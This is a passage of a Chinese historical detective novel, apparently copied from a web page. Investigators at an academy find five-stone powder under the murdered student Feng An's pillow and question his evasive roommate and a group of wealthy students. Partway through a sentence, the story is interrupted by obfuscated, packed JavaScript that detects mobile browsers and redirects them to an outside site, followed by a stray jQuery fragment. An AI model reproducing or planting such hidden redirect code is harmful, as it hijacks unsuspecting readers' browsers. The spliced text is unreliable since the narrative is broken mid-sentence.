翌日,将近中午,陈玘方才徐徐而至,让刘偃停课一天,令所有学生各自留在两斋之中,等他传唤问迅。与此同时,依旧叫了赵棐随同查案。
这次他显然早有打算,不再在书院东逛西逛,首先就直奔蠹叶斋找到冯安舍友李元。
蠹叶斋一共十二间宿舍,共分三列:北二南一,每列四间屋子。南舍北舍之间相隔约莫一丈,中间一条小径,径上铺了青石。斋中槐杨、绿柳随处点缀,此时虽是盛夏,这院子里却是绿树成荫,十分清凉。
除夏淇、赵棐各自独住一间房外,书院规定学生都是两两分宿一间。冯安的房间是北舍靠外墙那列屋子的左手第一间。
而陈玘也并非赵棐想得那般庸聩,他找李元的目的也很明确:除了问证冯安在斋门落锁之后是否果真在宿舍,更想到更为重要的一点:李元是冯安舍友,冯安遇害时间将近深夜,就目前看来,除了凶手,他应该就是冯安出事前最后见过冯安的人。
李元的口供首先证实了邓怀的清白。
据他所说,邓怀查夜的时候冯安的确就在宿舍;至于冯安后来什么时候出去的,他睡得太沉,根本没有发觉。
这李元看上去是个本本分分的读书人,天生带着种普通百姓惧怕被官差盘问的胆怯,见陈玘问话便露出一种做了亏心事般的心虚。回答关于邓怀的问题时表情虽不可疑,然而一提起冯安出事当晚的行踪,他脸上的神情立刻不自然地一变,变得躲躲躲闪,回起话来也开始支支吾吾,让本来对他没什么怀疑的陈玘反而疑窦丛生。
赵棐自然也没忽略李元神色的古怪,皱眉盯着他片刻,忽然像是想到什么,目光微微一亮,仿佛一个谜团已经在他心中解开。
陈玘奇怪地看他一眼,皱眉道:“怎么?”
赵棐却只是将肩一耸,摇了摇头,眼睛盯着李元,微微笑了一下。
这笑容的意思却表现得相当明确:“他没说实话。”
这一点陈玘当然也心知肚明,他办案子虽然多是吊儿郎当,审问方面的经验却是老道。知道就算此刻逼问,这李元多半也是咬死说自己什么都不知道,也就暂且丢过他,开始在屋内探看。
这宿舍的布置也十分简便:两张各自靠墙放着的窄床,床头各有一个存放衣物的矮柜,两个衣柜旁又各有一个用来盛放盥洗用的脸盆、毛巾等物的木架;屋子中间有张四脚松木长桌何两条板凳,便是二人共用的书桌。
书桌上随意散放着几张写满了字的草纸、一个茶壶和两只杯子,再有就是两副笔墨砚台,此外就再没有什么其他的东西。
冯安的床靠窗,上面的半旧被褥依旧是半翻开的,仿佛还是他当晚离开之后的样子;床头则叠放着一件整齐的换洗衣物和几本书册。
这些遗物本该是要由其亲属拿回去的,只不过他至亲已故,在这里有没有什么别的亲戚,一时之间这些东西自然也就无人收管。后来赵棐又报了案说此案有疑待查,故而刘偃也就暂未让人动他的遗物,只等陈玘将此案查实了再做打算。
这时陈玘在榻上扫视了一圈,目光忽然在他枕头底下微微一顿——却见那已洗得有些发白的蓝布枕头底下压着一包什么东西,隐约露出黄纸的一角。
几步走过去,往那枕头底下一摸,却摸出一包用黄纸包的东西来。打开一看,却是一些灰白色的粉末。
赵棐见他脸色勃然一变,皱了皱眉,奇怪道:“什么东西?”
陈玘的脸色却已慢慢沉下来。
“五石散。”
“五石散?”
赵棐吃了一惊。
这五石散他虽没有见过,却早有耳闻。服用之后,一段时间内容易迷失心智,乱世之时,一些文人名士曾用之逃避现实。
陈玘沉吟片刻,骤然将那一双忽然闪出精光的眼睛向战战兢兢侯在一旁的李元身上撇去,冷声问道:“冯安有服用五石散的习惯?”
李元头摇得拨浪鼓一般,哆哆嗦嗦道:“......我、我不知道。”
一张脸却仿佛愈加心虚起来,眼神飘忽,只差将“撒谎”二字刻在了脑门上。
陈玘看了只觉好笑,也不戳破,只是沉了声音道:“你与他是室友,难道不知道他平日是否用了此物?我问你,他出事当晚看上去如何?神智是否清醒?”
“我......我不知道!”李元却似干脆豁出去了,咬了牙道:“他......他的事与我有什么相干?反正我没杀他。”
这样子却叫赵棐又难免吃了一惊。
陈玘干脆被他气笑了,冷笑着道:“你小子还挺硬气!行,这会叫你好好说你不开口,等到了衙门,老子看你开不开口!”
然而李元却根本不受他威胁,干脆垂下眼睛,显是打定主意再不改口。
陈玘见他一副要死扛到底的样子,一时倒也拿他没什么办法,停顿半响,又叫人在房间内仔仔细细搜了一圈,却再无其他可疑之物,也就暂且丢过他,走出门来。
赵棐随他走出房门,沉吟了片刻,忽然意有所指般淡淡道:“看来他一定知道些什么......只不过像是有所忌惮,所以不敢开口。”
陈玘不知是有意回避他这句带着点话外之音的话,还是根本就没有听,也不接他话茬,只是浑不在意般道:“至少你们邓监院的嫌疑算是洗清了。这一点上,这小子看来倒不像在撒谎。”
赵棐点头同意。
陈玘又道:“依赵大公子看,他会不会和冯安的死有关?”
赵棐冷淡一笑,语气讥刺,“这样的胆子,就是做帮凶只怕也嫌差了些。”
陈玘却似不过随口一问,并不在意他的答案,目光向四下扫了一圈,顺着落在这一列最靠近大门外墙的那间屋子上,脸上的表情忽随之微微一变,有些好奇般问道:“那间屋子现在住的是谁?”
赵棐听他问得奇怪,却也随口答了一句是自己。
陈玘一顿,脸上的那种奇怪的表情旋即便转变成一个别有深意的微笑,拿眼睛将他上下打量一眼,倒像露出一点微末的赞许之色——或许还有点幸灾乐祸的意思,弄得赵棐莫名其妙。
不过他也懒得深究他为何忽然举止古怪,看出陈玘有意撇开话题,于是又将先前的话题转回来,淡淡道:“陈大人认为这五石散会是冯安的么?”
他仿佛料到陈玘会用什么答案来搪塞他,接着又道:“此物我曾在书上见过,据说其药性极烈,服用后甚至会让人发狂;又成瘾性强,有一段时间都成禁药。时下虽不知它是不是还是禁药,但这东西以前就多是那些纨绔子弟当成玩乐之物服用,索价自然不菲,冯安却是清贫之人,在书院读书也全靠院长接济,怎么会有买这东西的闲财?”
这话可谓已有些露骨,陈玘却似乎还是听不懂,只管带着点事不关己的微笑摸着自己的胡子。
赵棐似乎料到他会是这个反应,冷蔑地瞥他一眼,只差将自己的不满直接说出来。
不过他毕竟还是忍住,耐着性子接着道:“假设这东西的确是冯安的,先不说他用什么方法从外面弄了它进来,如此千方百计,至少说明他已经上瘾。而此物服用后又容易神智不清......但白天上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278904|198328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
课之时我却从未见过他表现出什么异样。若是晚上......”
他目光忽然闪了闪——难道冯安只在晚上吃食此物,而李元隐瞒的就是这件事?
陈玘看出他的心思,立刻抓住他这一瞬间的迟疑,笑着道:“你看,你自己岂不是也不能确定他晚上究竟吃没吃这东西?若是三更半夜食用,就是表现出异常也只在屋中,赵大公子又如何知道?”
目光掠向自己身后方才走出来的那道门,无所谓地一笑,“说不定这小子隐瞒的就是这件事。”
“不可能。”赵棐几乎是想也没想就冷冷打断,冷笑着道:“李元隐瞒的要是这件事,何必要怕成这样?”
“或许他自己也跟着沾染了一些。”陈玘不以为然道:“这东西毕竟不是什么好东西,你们书院恐怕也不会容忍学生吸食此物......若被发现,说不准还会被赶出去。这么一来,他要隐瞒也就并不出奇了。”
赵棐似乎骤然间抓到什么重点,脸上又露出笃定之色,带着点阴阳怪气的笑道:“大人恐怕忘了,李元是先露出心虚之色,而后县尉大人你才发现这包东西——这难道不是恰恰能证明李元所隐瞒的并不是此事?况且,冯安一直待在书院,在他出事前,书院放假也已是两个多月前。这东西若是那时带进来的,也早该用完,怎么会留到现在?”
陈玘道:“依赵大公子的话,这书院中岂不是人人都和这冯安的情况一样?除了你们那些老师,还有谁能随进随出?”
赵棐却似早已在等着他这句话,脸上露出一种“请君入瓮”的满意之色,冷笑着道,“咱们这书院除了念书的学生,还有伺候人的伴读,这些人可不像咱们这些念书的,会被时时拘在书院。”
说话间,眼睛立刻往南舍的方向一瞥——那正是夏淇一行人住的地方。
陈玘看着他,半响,只能投降般摊手,皮笑肉不笑地一笑。
南舍右数第三间就是夏淇一人住的房间,屋内的摆设与普通宿舍也不同,整个屋子虽不算大,却也用一张花鸟翡翠屏风隔断成两间,分为卧室与堂屋。
夏淇坐在堂屋正中唯一一把太师椅上,商晔等三人皆在下方歪歪斜斜地坐着,正聚在一起说笑。
“五石散?”
赵棐把手里的东西往几人面前一亮,唐逑一下就认了出来,那浑浊的眼睛戏谑地往他脸上一扫,笑嘻嘻道:“怎么赵金玉,你也用这好东西?书院里应该不能有这东西罢?”
赵金玉就是赵棐。
当然,赵棐的表字并不叫什么金玉,这名字还要得归功于他亲爹,逢人就给人解释他给自己这宝贝独生子取这名的深意:“棐,非木,乃金玉也”,赵棐由是便被人戏称赵金玉。
赵棐嫌这外号俗气,平日里听到就要黑脸。
他出身富贵,虽比不得世家贵胄,一向也是由一群人捧着长大的。夏淇他们虽权大势大,他却也用不着要去仰人鼻息,更看不上商晔他们这等巴结奉承之态,一向与他们保持着距离,井水不犯河水。只是商晔他们却看不惯他这我行我素的做派,平日里撞见了,总是要刺他几句,赵棐深知他们有意让自己不快,也只当没听见。
当下他本是故意拿五石散试探几人,自然也就更只当耳旁风,一双眼睛却不动声色地观察着屋中几人的神色。见夏淇懒散着身子翘着腿半倚在太师椅上,不过漫不经心地瞥了眼他手中的东西,神色波澜不动,似乎并不是很在意。商晔却在见到这包东西的一瞬间目光微微地一顿,不过很快就显得也不当一回事;独万宝楼的眼睛像是被烫了一下,立刻错开了去。